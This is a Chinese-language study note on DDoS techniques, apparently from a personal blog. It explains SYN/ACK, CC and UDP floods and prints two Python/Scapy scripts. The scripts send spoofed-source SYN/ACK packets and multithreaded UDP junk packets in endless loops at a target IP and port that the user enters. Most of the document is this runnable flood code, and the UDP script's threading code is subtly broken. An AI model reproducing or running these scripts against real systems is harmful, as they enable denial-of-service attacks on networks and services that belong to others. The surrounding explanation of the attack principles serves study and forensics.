主要是前段时间看到这系列文章,决定好好学习一波,研究下
SYN/ACK FlOOD
SYN/ACK FLOOD是针对TCP协议的攻击
也是最常见的DDOS攻击手段,具有教科书式的意义
原理:根据TCP协议的面向连接的特性,伪造TCP三次握手中的发送的标志位,造成机器空连接。
攻击样本:
# -*- coding: UTF-8 -*-
import socket
import struct
from scapy.all import *
from scapy import all
import random
print"SYN/ACK FLOOD"
mode=input("SYN or ACK (0 or 1):")
if mode==0:
flag=2
elif mode==1:
flag=18
else :
print "BUG"
dip=raw_input(str("please input target IP:"))
dp=input("target port:")
sip1=raw_input(str("source_ip(random R ):"))
sp1=raw_input(str("source_port(random R): "))
while 1:
if sip1=="R":
iprandom=random.randint(0,4000000000)
sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
if sp1=="R":
sp=random.randint(1,65535)
else:
sp=sp1
else:
sip=sip1
if sp1=="R":
sp=random.randint(1,65535)
else:
sp=sp1
t=random.randint(64,128)
pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))
send(pack)
受害者抓到的包
很明显可以发现TCP协议中的标志位全是SYN,且源地址和源IP都是随机生成的。
与syn flood原理相同但是标识符是ack和syn
CC攻击
因为CC攻击是http的正常请求,在取证中,很容易通过apache或者nginx等中间件的日志发现端倪,因此不做赘述。
常见的攻击工具是webbench或者apache自带的压力测试工具
UDP FlOOD
攻击原理:
通过构造大量的数据包造成带宽被打光。
测试代码:
# -*- coding: UTF-8 -*-
import threading
import socket
from scapy.all import *
from scapy import all
def sends():
while 1:
size=random.randint(1,2)
data=f.read(size)
iprandom=random.randint(0,4000000000)
sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))
sp=random.randint(1000,65535)
t=random.randint(50,120)
packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))
send(packet)
if __name__ =='__main__':
print "==This is a UDP flood attacker=="
dip=raw_input("please input the destination ip:")
dp=input("please input the port:")
threads_num=raw_input("please input the threads num:")
f=open('./load','r')
threads=[]
for i in xrange(int(threads_num)):
threads.append(sends())
for t in threads:
t.setDaemon(True)
t.start()
流量包不放了,基本就是通过大量垃圾UDP数据攻击UDP端口。